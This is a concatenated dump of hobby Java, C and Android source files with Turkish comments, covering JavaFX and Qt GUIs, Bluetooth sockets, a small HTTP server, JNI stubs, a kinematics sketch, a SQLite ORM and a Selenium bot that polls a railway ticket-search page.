dao.addTelefon(telefon);
getList();
}
@FXML
void telefonSil(ActionEvent event) {
Telefon telefon = new Telefon();
telefon.setId(Integer.parseInt(txtId.getText()));
dao.deleteTelefon(telefon);
getList();
}
TelefonDao dao;
private ObservableList<Telefon> telefonData;
void getList() {
telefonData = FXCollections.observableArrayList();
dao = new TelefonDao();
for (Telefon telefon : dao.getTelefons()) {
telefonData.add(telefon);
}
tableTelefons.setItems(telefonData);
}
@Override
public void initialize(URL location, ResourceBundle resources) {
getList();
clmId.setCellValueFactory(new PropertyValueFactory<>("id"));
clmMarka.setCellValueFactory(new PropertyValueFactory<>("marka"));
clmModel.setCellValueFactory(new PropertyValueFactory<>("model"));
tableTelefons.getSelectionModel().selectedItemProperty().addListener(new ChangeListener() {
@Override
public void changed(ObservableValue observableValue, Object oldValue, Object newValue) {
// Check whether item is selected and set value of selected item to Label
if (tableTelefons.getSelectionModel().getSelectedItem() != null) {
Telefon telefon = tableTelefons.getSelectionModel().getSelectedItem();
System.out.println(telefon);
txtId.setText(String.valueOf(telefon.getId()));
txtMarka.setText(telefon.getMarka());
txtModel.setText(telefon.getModel());
}
}
});
}
}
<file_sep>/BluetoothJavaComputer/BluetoothTest/app/src/main/java/com/example/byrfb/bluetoothtest/rfb/BtServer.java
package com.example.byrfb.bluetoothtest.rfb;
import android.bluetooth.BluetoothServerSocket;
import android.bluetooth.BluetoothSocket;
import java.io.IOException;
import java.util.UUID;
public class BtServer extends Thread {
static final UUID UUID = java.util.UUID.fromString("94c255b6-49d0-46cc-afd4-b593fde1250f");
final String APPNAME = "MyBt";
private BluetoothServerSocket serverSocket;
public BtServer() {
try {
serverSocket = AnaSayfa.myBluetoothAdapter.listenUsingRfcommWithServiceRecord(APPNAME, UUID);
} catch (IOException e) {
e.printStackTrace();
}
}
public void run() {
BluetoothSocket socket = null;
System.out.println("Server Açıldı");
while (socket == null) {
try {
socket = serverSocket.accept();
System.out.println("Servera bağlanıldı");
} catch (IOException e) {
e.printStackTrace();
}
// bundan sonra server açık bağlan işte
}
}
}
<file_sep>/Libgdx with video Tests/html3DTest/settings.gradle
include 'desktop', 'html', 'core', ':ammo'
include ':bullet'
project(':bullet').projectDir = new File('F:\\WorkSpaces\\Java\\gdxBulletGwt\\java-bullet-gwt')
<file_sep>/Py4J/java/src/main/java/com/byrfb/Main.java
/******************************************************************************
* Copyright (c) 2009-2018, <NAME> and individual contributors.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* - The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*****************************************************************************/
package com.byrfb;
import py4j.GatewayServer;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.List;
public class Main {
public <T> void getValue(T val) {
List<Class> listClass = new ArrayList<>();
listClass.add(String.class);
listClass.add(Integer.class);
listClass.add(Float.class);
boolean isAvaliable = false;
for (Class clazz : listClass) {
if (clazz.equals(val.getClass())) {
isAvaliable = true;
break;
}
}
if (isAvaliable) {
System.out.println("uygun");
} else
System.out.println("değil");
}
public int addition(int first, int second) {
return first + second;
}
public static InputStream getSystemIn() {
final InputStream in = System.in;
return in;
}
public static void main(String[] args) {
Main app = new Main();
GatewayServer server = new GatewayServer(app);
server.start();
}
public Main getObject() {
return this;
}
}
<file_sep>/JniTests-2/native/Main/jni/src/deneme2.c
#include "../include/deneme2.h"
int carp(int a , int b){
return a*b;
}<file_sep>/KinematicTest Processing/src/com/byrfb/araclar/TwoCubukSystem.java
package com.byrfb.araclar;
import com.byrfb.utils.Selector;
import processing.core.PVector;
/*
Bi bakıma kol olarak düşünülebilir
2 tane çubuk birleştirir
ona göre işlemler yapar
*/
public class TwoCubukSystem {
Cubuk[] cubuks = new Cubuk[2];
float uzunluk = 400;
boolean taraf = false;
public TwoCubukSystem(PVector baslangicPoint) {
cubuks[0] = new Cubuk(baslangicPoint, uzunluk, 0);
cubuks[1] = new Cubuk(cubuks[0].getSonKoordinat(), uzunluk, 0);
}
public void draw() {
for (Cubuk cubuk : cubuks) {
cubuk.draw();
}
}
/*
* İçinde bulunan 2 tane çizgi arasındaki açı değerini hesaplar ve döner
*/
public double getAngleBetween() {
return Math.toDegrees(PVector.angleBetween(cubuks[0].nor(), cubuks[1].nor()));
}
public Cubuk[] getCubuks() {
return cubuks;
}
public void setCubuks(Cubuk[] cubuks) {
this.cubuks = cubuks;
}
/*
* Kolun bitim kısmının koordinatını geri döner
*/
public PVector getEndPoint() {
return cubuks[1].sonKoordinat;
}
/*
* Kolun omuz kısmını geri döndürür
*/
public Cubuk getFirst() {
return cubuks[0];
}
/*
* El ksmını geri döndürür
*/
public Cubuk getSecong() {
return cubuks[1];
}
/*
* Asıl hesalamanın yapıldığı kısım Kolun oluşturduğu üzgene göre hesaplamasını
* yapar ve açı değerlerini hesaplar buna göre çim yapılır zaten algoritma
* cosinüs teoremine göre heesaplama yapmaktadır
*/
public void printAngle(Selector selector) {
// lenght of sides be a, b, c
float a = selector.getDistance(getFirst());
float b = getFirst().getUzunluk();
float c = getSecong().getUzunluk();
float a2 = a * a;
float b2 = b * b;
float c2 = c * c;
// From Cosine law
float alpha = (float) Math.acos((b2 + c2 - a2) / (2 * b * c));
float betta = (float) Math.acos((a2 + c2 - b2) / (2 * a * c));
float gamma = (float) Math.acos((a2 + b2 - c2) / (2 * a * b));
// Converting to degree
alpha = (float) (alpha * 180 / Math.PI);
betta = (float) (betta * 180 / Math.PI);
gamma = (float) (gamma * 180 / Math.PI);
double aci = selector.getAngle(getFirst());
// float aci1 = getFirst().getAngle(getSecong());
// double aci2 = selector.getAngle(getSecong());
if (!taraf) {
getFirst().setAngle((float) (aci + betta));
getSecong().setAngle(getFirst(), 180 - alpha);
} else {
getFirst().setAngle((float) (aci - betta));
getSecong().setAngle(getFirst(), 180 + alpha);
}
// System.out.println("1 : " + aci + " 2 : " + aci1 + " 3 : " + aci2 );
//
//
// // printing all the angles
// System.out.println("alpha : " + alpha + " betta : " + betta + " gamma : " +
// gamma );
}
/*
* Hangi taraf olacağı bu meotla belirtilir sonuçta iki kol olcak ve hangisi sağ
* hangi sol olduğu burda bildirilmekte
*
*/
public void setTaraf(boolean taraf) {
this.taraf = taraf;
}
}
// boolean randomTaraf() {
// if(Math.random() < 0.5) {
// return true;
// }
// return false;
//
// }
<file_sep>/KinematicTest Processing/src/com/byrfb/utils/Selector.java
package com.byrfb.utils;
import com.byrfb.Main;
import com.byrfb.Skecth;
import com.byrfb.araclar.Cubuk;
import com.byrfb.araclar.TwoCubukSystem;
import processing.core.PVector;
public class Selector {
PVector coord;
public Selector() {
this.coord = new PVector();
}
public void draw() {
getSkecth().ellipseMode(getSkecth().CENTER);
getSkecth().ellipse(coord.x, coord.y, 20, 20);
}
Skecth getSkecth() {
return Main.sketch;
}
public PVector getCoord() {
return coord;
}
public void setCoord(float x, float y) {
this.coord.set(x, y);
}
public double getAngle(Cubuk cubuk) {
float deltaX = coord.x - cubuk.getBasKoordinat().x;
float deltaY = coord.y - cubuk.getBasKoordinat().y;
double aci = Math.toDegrees(Math.atan2(deltaY, deltaX));
if (aci < 0) {
return -aci;
}
return 360 - aci;
}
public double getAngle(TwoCubukSystem sistem) {
Cubuk cubuk = sistem.getCubuks()[0];
return getAngle(cubuk);
}
public float getDistance(Cubuk cubuk) {
return PVector.dist(coord, cubuk.getBasKoordinat());
}
public void setCoord(PVector vectkonum) {
this.setCoord(vectkonum.x,vectkonum.y);
}
}
<file_sep>/SimpleHttpServer/src/main/java/request/Request.java
package request;
import java.util.HashMap;
import java.util.Map;
public abstract class Request {
Map<String, Object> parameters = new HashMap<String, Object>();
String requestPath;
public Request(String parametersText) {
this.solveParameters(parametersText);
}
abstract void solveParameters(String parametersText);
public String getRequestPath() {
return requestPath;
}
public void setRequestPath(String requestPath) {
this.requestPath = requestPath;
}
protected void splitParameters(String[] parameters) {
for (String keyValue : parameters) {
String[] keyAndValue = keyValue.split("=");
if (keyAndValue.length > 1) {
this.parameters.put(keyAndValue[0], keyAndValue[1]);
}
}
}
}
<file_sep>/TcddEBiletBot/src/console/Main.java
package console;
/*
*
* author <NAME>�
* Tcdd Kars bilet kesici_v.0.1.1
* v_0.1.2 de m�zik ile uyar� eklendi
*
*
*
*/
import java.io.FileNotFoundException;
import java.util.Scanner;
import org.openqa.selenium.By;
import org.openqa.selenium.JavascriptExecutor;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.firefox.GeckoDriverService;
import javazoom.jl.decoder.JavaLayerException;
/**
*
* @author ByRfb
*/
public class Main {
/**
*
* @param args
* @throws InterruptedException
* @throws FileNotFoundException
* @throws JavaLayerException
*/
public static void main(String[] args) throws InterruptedException, FileNotFoundException, JavaLayerException {
MusicPlayer music = new MusicPlayer();
System.setProperty(GeckoDriverService.GECKO_DRIVER_EXE_PROPERTY, "libs//selenium//geckodriver.exe");
System.setProperty("webdriver.firefox.bin", "E:\\Program Files\\Mozilla Firefox\\firefox.exe");
WebDriver browser = new FirefoxDriver();
JavascriptExecutor jsExec = (JavascriptExecutor) browser;
Scanner sc = new Scanner(System.in);
System.out.println("Moruk ka� ki�i istiyon?\n>");
int kisiSayisi = sc.nextInt();
int konum = 0;
while (!(konum == 1 || konum == 2)) {
System.out.println("Nereden kalkar? Ankara gar i�in 1'e bas Eryaman i�in 2'ye bas\n>");
konum = sc.nextInt();
}
String kalkisYeri = null;
switch (konum) {
case 1:
kalkisYeri = "Ankara Gar";
break;
case 2:
kalkisYeri = "ERYAMAN YHT";
break;
}
System.out.println("Karde� ka� saniyede bi fi�ekliyam\n>");
int sure = sc.nextInt();
// Firefox's proxy driver executable is in a folder already
// on the host system's PATH environment variable.
browser.get("https://ebilet.tcddtasimacilik.gov.tr/view/eybis/tnmGenel/tcddWebContent.jsf");
// browser.get("https://facebook.com");
WebElement nereden = browser.findElement(By.xpath("//*[@id=\"nereden\"]"));
WebElement nereye = browser.findElement(By.xpath("//*[@id=\"nereye\"]"));
WebElement tarih = browser.findElement(By.xpath("//*[@id=\"trCalGid_input\"]"));
WebElement yolcuSayisi = browser.findElement(By.xpath("//*[@id=\"syolcuSayisi_input\"]"));
WebElement btnAra = browser.findElement(By.xpath("//*[@id=\"btnSeferSorgula\"]"));
// *[@id="btnSeferSorgula"]
String pageUrl1 = "https://ebilet.tcddtasimacilik.gov.tr/view/eybis/tnmGenel/tcddWebContent.jsf";
String pageUrl2 = "https://ebilet.tcddtasimacilik.gov.tr/view/eybis/tnmGenel/tcddWebContent.jsf?expired=true";
String page = browser.getCurrentUrl();
while (page.equals(pageUrl1) || page.equals(pageUrl2)) {
try {
nereden = browser.findElement(By.xpath("//*[@id=\"nereden\"]"));
nereye = browser.findElement(By.xpath("//*[@id=\"nereye\"]"));
tarih = browser.findElement(By.xpath("//*[@id=\"trCalGid_input\"]"));
yolcuSayisi = browser.findElement(By.xpath("//*[@id=\"syolcuSayisi_input\"]"));
btnAra = browser.findElement(By.xpath("//*[@id=\"btnSeferSorgula\"]"));
nereden.clear();
nereden.sendKeys(kalkisYeri);
nereye.clear();
nereye.sendKeys("Kars");
tarih.clear();
tarih.sendKeys("21.02.2019");
jsExec.executeScript("arguments[0].value='" + kisiSayisi + "';", yolcuSayisi);
jsExec.executeScript("arguments[0].click();", btnAra);
} catch (Exception e) {
System.err.println(e.getStackTrace());
System.out.println("yap�lamad�");
}
page = browser.getCurrentUrl();
System.out.println(page);
Thread.sleep(sure * 1000);
}
// browser.close();
}
}
<file_sep>/JniTests-2/native/Main/jni/src/AppSound.c
#include "../include/AppSound.h"
#include <stdio.h>
JNIEXPORT jint JNICALL Java_com_rfbsoft_natives_AppSound_AppSound_calculate
(JNIEnv * env, jobject object, jint deger2 , jint deger1){
return deger1 + deger2;
}
EXAMPLE_DLL int calculate(int a , int b){
return a+b;
}<file_sep>/JNativeKeyboardAndMouseInputsSendNet/src/tests/EncryptedFileWriterTest.java
package tests;
import java.util.Scanner;
import security.EncryptedFileWriter;
public class EncryptedFileWriterTest {
public static void main(String[] args) {
EncryptedFileWriter writer = new EncryptedFileWriter("message.txt");
Scanner sc = new Scanner(System.in);
StringBuilder text = new StringBuilder();
for (int i = 0; i < 3; i++) {
text.append(sc.nextLine() + "\n");
}
writer.write(text.toString());
}
}
<file_sep>/AdministorTest/libs/super-user-application-master/src/main/java/com/byrfb/administor/SUDO.java
package com.byrfb.administor;
public class SUDO {
private static boolean daemon = false;
public static boolean prefer_stdio = false;
public static boolean debug = true;
static boolean isAdmin = false;
public static int run(ISuperUserApplication app, String[] args)
{
int result = -1;
if (app.isSuperUser()) {
result = app.runAdministor(args);
isAdmin = true;
} else {
try{
if(!isAdmin){
result = app.sudo(args);
// run(app,args);
}
}
catch (Exception e){
result = app.runNotAdministor();
}
}
if (!daemon) {
System.exit(result);
}
return result;
}
public static void run(ISuperUserApplication app)
{
run(app,new String[]{});
}
public static String getOS()
{
String os_name = System.getProperty("os.name");
String parts[];
if (null != os_name) {
parts = os_name.trim().toLowerCase().split("\\s+");
} else {
parts = new String[]{};
}
if (parts.length < 1) {
return null;
}
return parts[0];
}
public static void setDaemon(boolean b) {
daemon = b;
}
}
<file_sep>/BluetoothJavaComputer/BluetoothTest/app/src/main/java/com/example/byrfb/bluetoothtest/rfb/BtClient.java
package com.example.byrfb.bluetoothtest.rfb;
import android.bluetooth.BluetoothDevice;
import android.bluetooth.BluetoothSocket;
import java.io.IOException;
public class BtClient extends Thread {
BluetoothSocket socket;
BluetoothDevice device;
public BtClient(BluetoothDevice device) {
this.device = device;
try {
socket = device.createRfcommSocketToServiceRecord(BtServer.UUID);
} catch (IOException e) {
e.printStackTrace();
}
}
public void run() {
//AnaSayfa.myBluetoothAdapter.cancelDiscovery();
boolean baglandi = false;
while (!baglandi) {
try {
socket.connect();
baglandi = true;
// bağlandıktan sonraki fantazi
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
<file_sep>/YksSonucParser/src/main/java/com/byrfb/objects/Kontenjan.java
package com.byrfb.objects;
public class Kontenjan implements Comparable<Kontenjan>{
String programKod;
Brans bolum;
String puanTuru;
String genelKont;
String genelYerlestirme;
float enKucukPuan;
float enBuyukPuan;
float obKont;
float obYer;
float obkEnKucukPuan;
@Override
public String toString() {
return "Kontenjan{" +
"programKod='" + programKod + '\'' +
", bolum=" + bolum +
", puanTuru='" + puanTuru + '\'' +
", genelKont='" + genelKont + '\'' +
", genelYerlestirme='" + genelYerlestirme + '\'' +
", enKucukPuan=" + enKucukPuan +
", enBuyukPuan=" + enBuyukPuan +
", obKont=" + obKont +
", obYer=" + obYer +
", obkEnKucukPuan=" + obkEnKucukPuan +
", obkEnBuyukPuan=" + obkEnBuyukPuan +
'}';
}
float obkEnBuyukPuan;
public String getProgramKod() {
return programKod;
}
public void setProgramKod(String programKod) {
this.programKod = programKod;
}
public Brans getBolum() {
return bolum;
}
public void setBolum(Brans bolum) {
this.bolum = bolum;
}
public String getPuanTuru() {
return puanTuru;
}
public void setPuanTuru(String puanTuru) {
this.puanTuru = puanTuru;
}
public String getGenelKont() {
return genelKont;
}
public void setGenelKont(String genelKont) {
this.genelKont = genelKont;
}
public String getGenelYerlestirme() {
return genelYerlestirme;
}
public void setGenelYerlestirme(String genelYerlestirme) {
this.genelYerlestirme = genelYerlestirme;
}
public float getEnKucukPuan() {
return enKucukPuan;
}
public void setEnKucukPuan(float enKucukPuan) {
this.enKucukPuan = enKucukPuan;
}
public float getEnBuyukPuan() {
return enBuyukPuan;
}
public void setEnBuyukPuan(float enBuyukPuan) {
this.enBuyukPuan = enBuyukPuan;
}
public float getObKont() {
return obKont;
}
public void setObKont(float obKont) {
this.obKont = obKont;
}
public float getObYer() {
return obYer;
}
public void setObYer(float obYer) {
this.obYer = obYer;
}
public float getObkEnKucukPuan() {
return obkEnKucukPuan;
}
public void setObkEnKucukPuan(float obkEnKucukPuan) {
this.obkEnKucukPuan = obkEnKucukPuan;
}
public float getObkEnBuyukPuan() {
return obkEnBuyukPuan;
}
public void setObkEnBuyukPuan(float obkEnBuyukPuan) {
this.obkEnBuyukPuan = obkEnBuyukPuan;
}
public static int sortIndex = 2;
@Override
public int compareTo(Kontenjan o) {
switch (sortIndex) {
case 0:
return (o.getBolum().getUniversite().compareToIgnoreCase(this.getBolum().getUniversite()));
case 1:
return Float.compare(o.getEnBuyukPuan(), this.getEnBuyukPuan());
case 2:
return (o.getBolum().getBolum().compareToIgnoreCase(this.getBolum().getBolum()));
default:
return Float.compare(o.getEnKucukPuan(), this.getEnKucukPuan());
}
// TODO Auto-generated method stub
}
}
<file_sep>/HerokuJavaServerWithGradle/public_html/js/app.js
console.log("rfb");<file_sep>/SimpleHttpServer/src/test/TestStarter.java
package test;
import java.io.File;
import java.io.IOException;
import java.net.ServerSocket;
import java.util.Date;
import main.JavaHTTPServer;
public class TestStarter {
static final File WEB_ROOT = new File(".");
static final String DEFAULT_FILE = "index.html";
static final String FILE_NOT_FOUND = "404.html";
static final String METHOD_NOT_SUPPORTED = "not_supported.html";
// port to listen connection
static final int PORT = 8080;
// verbose mode
public static final boolean debug = true;
public static void main(String[] args) {
try {
ServerSocket serverConnect = new ServerSocket(PORT);
System.out.println("Server started.\nListening for connections on port : " + PORT + " ...\n");
// we listen until user halts server execution
while (true) {
JavaHTTPServer myServer = new JavaHTTPServer(serverConnect.accept());
if (debug) {
System.out.println("Connecton opened. (" + new Date() + ")");
}
// create dedicated thread to manage the client connection
Thread thread = new Thread(myServer);
thread.start();
}
} catch (IOException e) {
System.err.println("Server Connection error : " + e.getMessage());
}
}
}
<file_sep>/JniTests-2/native/Main/jni/include/deneme1.h
int topla(int a , int b);<file_sep>/Libgdx with video Tests/html3DTest/html/src/com/byrfb/game/client/SocketCreator.java
//package com.byrfb.game.client;
//
//
//import com.byrfb.jsLibraries.Library;
//import com.byrfb.socketio.GwtSocketIO;
//import com.byrfb.socketio.GwtSocketIO.SocketHandler;
//import com.google.gwt.core.client.Callback;
//
//import com.google.gwt.core.client.ScriptInjector;
//
//public class SocketCreator {
//
// public static String PORT = "8000";
//
//
// public static void create() {
// ScriptInjector.fromUrl("/socket.io/socket.io.js").setCallback(new Callback<Void, Exception>() {
//
// @Override
// public void onSuccess(Void result) {
// // TODO Auto-generated method stub
// final GwtSocketIO socket = GwtSocketIO.connect("http://localhost:" + PORT) ;
// socket.onSocket("send", new SocketHandler<String>() {
//
// @Override
// public void onSocket(String data) {
// // TODO Auto-generated method stub
// Library.consoleLog(data);
// Library.consoleLog("Balantı başarılı");
// socket.emitSocket("my event", data + " new");
//// socket.emitSocket(servicio, data);
// }
// });
//
// }
//
// @Override
// public void onFailure(Exception reason) {
// // TODO Auto-generated method stub
//
// }
//
// }).inject();
// }
//
//}
<file_sep>/AdministorTest/libs/super-user-application-master/README.md
# Java SuperUser Runner
Execute Jar's with Administrator privileges
_Note:_ On some versions of windows, elevated applications don't always have access to
removable drives that were mounted by users. Applications that need to be elevated on windows
should be run from a non-removable hard drive.
## Installation
import with gradle and build and package jar
### Example Usage:
```
public class AdministorTest extends SuperUserApplication {
public static void main(String[] args) {
SUDO.run(new AdministorTest(), args);
}
public int runAdministor(String[] args) {
System.out.println("RUN AS ADMIN! YAY!");
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
return 0;
}
@Override
public int runNotAdministor() {
System.out.println("Not administor");
return 0;
}
}
```
<file_sep>/HerokuJavaServerWithGradle/src/main/java/response/HttpResponse.java
package response;
import main.Main;
import java.io.*;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
public class HttpResponse {
PrintWriter out = null;
BufferedOutputStream dataOut = null;
Map<String, Object> headerParameters = new HashMap<String, Object>();
boolean isResponsed = false;
OutputStream connection;
public HttpResponse(OutputStream connection) {
this.connection = connection;
// we get character output stream to client (for headers)
out = new PrintWriter(connection);
// get binary output stream to client (for requested data)
dataOut = new BufferedOutputStream(connection);
// sendFile("index.html");
}
/*
* closing connections
*
*/
public boolean closeConnections() {
try {
out.write("\r\n");
out.close();
dataOut.close();
if (Main.debug) {
System.out.println("Connection closed.\n");
}
return true;
// connection.close(); // we close socket connection
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
/*
* sending only headers
*
*/
public void sendHeaders() {
if (isResponsed == false) {
for (Map.Entry<String, Object> param : headerParameters.entrySet()) {
StringBuilder headerContent = new StringBuilder();
headerContent.append(param.getKey());
headerContent.append(": ");
headerContent.append(param.getValue());
out.println(headerContent.toString());
}
// out.println(); // blank line between headers and content, very important !
out.write("\r\n");
out.write("\r\n");
out.flush(); // flush character output stream buffer
isResponsed = true;
closeConnections();
}
}
/*
* sending only text
*
*/
public void sendText(String text) {
if (isResponsed == false) {
out.println("HTTP/1.1 " + "200 OK");
out.println("main.Server: Java HTTP main.Server from Rfb : 1.0");
out.println("Date: " + new Date());
for (Map.Entry<String, Object> param : headerParameters.entrySet()) {
StringBuilder headerContent = new StringBuilder();
headerContent.append(param.getKey());
headerContent.append(": ");
headerContent.append(param.getValue());
out.println(headerContent.toString());
}
out.write("\r\n");
out.write("\r\n");
out.println("<html>"+ text+ "</html>");
out.flush(); // flush character output stream buffer
isResponsed = true;
closeConnections();
}
}
/*
* sending file with custom header values
*
*
*/
public void sendFile(String durum, String fileName) {
if (isResponsed == false) {
File file = new File(Main.WEB_ROOT, fileName);
int fileLength = (int) file.length();
String content = getContentType(fileName);
try {
byte[] fileData = readFileData(file, fileLength);
// send HTTP Headers
out.println("HTTP/1.1 " + durum);
for (Map.Entry<String, Object> param : headerParameters.entrySet()) {
StringBuilder headerContent = new StringBuilder();
headerContent.append(param.getKey());
headerContent.append(": ");
headerContent.append(param.getValue());
out.println(headerContent.toString());
}
out.println("main.Server: Java HTTP main.Server from Rfb : 1.0");
out.println("Date: " + new Date());
out.println("Content-type: " + content);
out.print("Content-length: " + fileLength);
out.write("\r\n");
out.write("\r\n");
out.println(); // blank line between headers and content, very important !
out.flush(); // flush character output stream buffer
dataOut.write(fileData, 0, fileLength);
dataOut.flush();
isResponsed = true;
closeConnections();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public void sendFile(String fileName) {
//
this.sendFile("200 OK", fileName);
}
public void sendAnasayfa() {
//
this.sendFile("200 OK", "index.html");
}
public void fileNotFound(String fileRequested) throws IOException {
this.sendFile("404 File Not Found", Main.FILE_NOT_FOUND);
if (Main.debug) {
System.out.println("File " + fileRequested + " not found");
}
}
public void methodNotAllowed(String method) throws IOException {
if (Main.debug) {
System.out.println("501 Not Implemented : " + method + " method.");
}
this.sendFile("501 Not Implemented", Main.METHOD_NOT_SUPPORTED);
}
private byte[] readFileData(File file, int fileLength) throws IOException {
FileInputStream fileIn = null;
byte[] fileData = new byte[fileLength];
try {
fileIn = new FileInputStream(file);
fileIn.read(fileData);
} finally {
if (fileIn != null)
fileIn.close();
}
return fileData;
}
// return supported MIME Types
private String getContentType(String fileRequested) {
if (fileRequested.endsWith(".htm") || fileRequested.endsWith(".html"))
return "text/html";
else
return "text/plain";
}
public Map<String, Object> getHeaderParameters() {
return headerParameters;
}
}
<file_sep>/JNativeKeyboardAndMouseInputsSendNet/src/tests/NewPostRequestTest.java
package tests;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.Reader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.Map;
public class NewPostRequestTest {
public static void main(String[] args) throws IOException {
URL url = new URL("http://www.myfiledepos.tk/getText");
Map<String, Object> params = new HashMap<String, Object>();
// params.put("text", "<NAME>");
StringBuilder postData = new StringBuilder();
for (Map.Entry<String, Object> param : params.entrySet()) {
if (postData.length() != 0)
postData.append('&');
postData.append(URLEncoder.encode(param.getKey(), "UTF-8"));
postData.append('=');
postData.append(URLEncoder.encode(String.valueOf(param.getValue()), "UTF-8"));
}
byte[] postDataBytes = postData.toString().getBytes("UTF-8");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("Content-Length", String.valueOf(postDataBytes.length));
conn.setDoOutput(true);
conn.getOutputStream().write(postDataBytes);
Reader in = new BufferedReader(new InputStreamReader(conn.getInputStream(), "UTF-8"));
for (int c; (c = in.read()) >= 0;)
System.out.print((char) c);
}
}
<file_sep>/JavaSwingTwoWayBinding/src/main/java/com/byrfb/gui/BindiableTextComponent.java
package com.byrfb.gui;
import javax.swing.text.JTextComponent;
/*
bu kend içerisinde set text ve gettext içerdiği için component olarak direk swing gönderilmekte
*/
public abstract class BindiableTextComponent extends BindiableComponent {
private JTextComponent component;
public BindiableTextComponent(){
super.setBindinable(this);
}
@Override
public void onDataChange() {
setText(value.getValue());
}
protected void setComponent(JTextComponent bindiableTextArea) {
this.component = bindiableTextArea;
}
@Override
public String getText() {
return component.getText();
}
@Override
public void setText(String value) {
component.setText(value);
}
public JTextComponent getComponent() {
return component;
}
}
<file_sep>/JavaSqliteOrm/src/com/byrfb/database/Dao.java
package com.byrfb.database;
import com.byrfb.objects.ders.Lesson;
import com.byrfb.sqlite.SqLiteDatabase;
/*
*
* Bu classla genel olarak bütün sınıfları veri tabanına kaydedebilirsin
*
*
*/
public class Dao extends ObjectDao {
public Dao(IDatabaseConnector database) {
super(database);
// TODO Auto-generated constructor stub
}
public static void main(String[] args) {
Lesson ders = new Lesson(0,"Protez");
new Dao(new SqLiteDatabase()).insert(ders);
System.out.println(new Dao(
new SqLiteDatabase()).selectAll(Lesson.class));
}
}
<file_sep>/HerokuTcpTest/src/main/java/com/byrfb/connection/SocketConnection.java
package com.byrfb.connection;
import com.byrfb.input.InputThread;
import com.byrfb.input.Inputable;
import com.byrfb.output.Output;
import java.io.IOException;
import java.net.Socket;
public class SocketConnection extends Thread implements Inputable {
Socket clientSocket;
Output o;
InputThread it;
public SocketConnection(Socket clientSocket) throws IOException {
this.clientSocket = clientSocket;
}
@Override
public void run() {
try {
runSocket();
} catch (IOException e) {
e.printStackTrace();
}
}
private void runSocket() throws IOException {
o = new Output(clientSocket.getOutputStream());
it = new InputThread(clientSocket, this);
it.start();
}
@Override
public void comingText(String text) {
System.out.println("Clientten gelen : " + text);
o.sendResponse("al Sana Yanıt");
}
}
<file_sep>/QtJambiTest/src/pages/BasitGuiQt.java
/********************************************************************************
** Form generated from reading ui file 'untitled.jui'
**
** Created by: Qt User Interface Compiler version 4.8.6
**
** WARNING! All changes made in this file will be lost when recompiling ui file!
********************************************************************************/
package pages;
import com.trolltech.qt.core.*;
import com.trolltech.qt.gui.*;
public class BasitGuiQt implements com.trolltech.qt.QUiForm<QMainWindow> {
public QWidget centralwidget;
public QWidget widget;
public QHBoxLayout horizontalLayout;
public QTextEdit textEdit;
public QDateEdit dateEdit;
public QComboBox comboBox;
public QDoubleSpinBox doubleSpinBox;
public QMenuBar menubar;
public QStatusBar statusbar;
public BasitGuiQt() {
super();
}
public void setupUi(QMainWindow MainWindow) {
MainWindow.setObjectName("MainWindow");
MainWindow.resize(new QSize(800, 600).expandedTo(MainWindow.minimumSizeHint()));
centralwidget = new QWidget(MainWindow);
centralwidget.setObjectName("centralwidget");
widget = new QWidget(centralwidget);
widget.setObjectName("widget");
widget.setGeometry(new QRect(90, 120, 501, 194));
horizontalLayout = new QHBoxLayout(widget);
horizontalLayout.setObjectName("horizontalLayout");
textEdit = new QTextEdit(widget);
textEdit.setObjectName("textEdit");
horizontalLayout.addWidget(textEdit);
dateEdit = new QDateEdit(widget);
dateEdit.setObjectName("dateEdit");
horizontalLayout.addWidget(dateEdit);
comboBox = new QComboBox(widget);
comboBox.setObjectName("comboBox");
horizontalLayout.addWidget(comboBox);
doubleSpinBox = new QDoubleSpinBox(widget);
doubleSpinBox.setObjectName("doubleSpinBox");
horizontalLayout.addWidget(doubleSpinBox);
MainWindow.setCentralWidget(centralwidget);
menubar = new QMenuBar(MainWindow);
menubar.setObjectName("menubar");
menubar.setGeometry(new QRect(0, 0, 800, 26));
MainWindow.setMenuBar(menubar);
statusbar = new QStatusBar(MainWindow);
statusbar.setObjectName("statusbar");
MainWindow.setStatusBar(statusbar);
retranslateUi(MainWindow);
MainWindow.connectSlotsByName();
} // setupUi
void retranslateUi(QMainWindow MainWindow) {
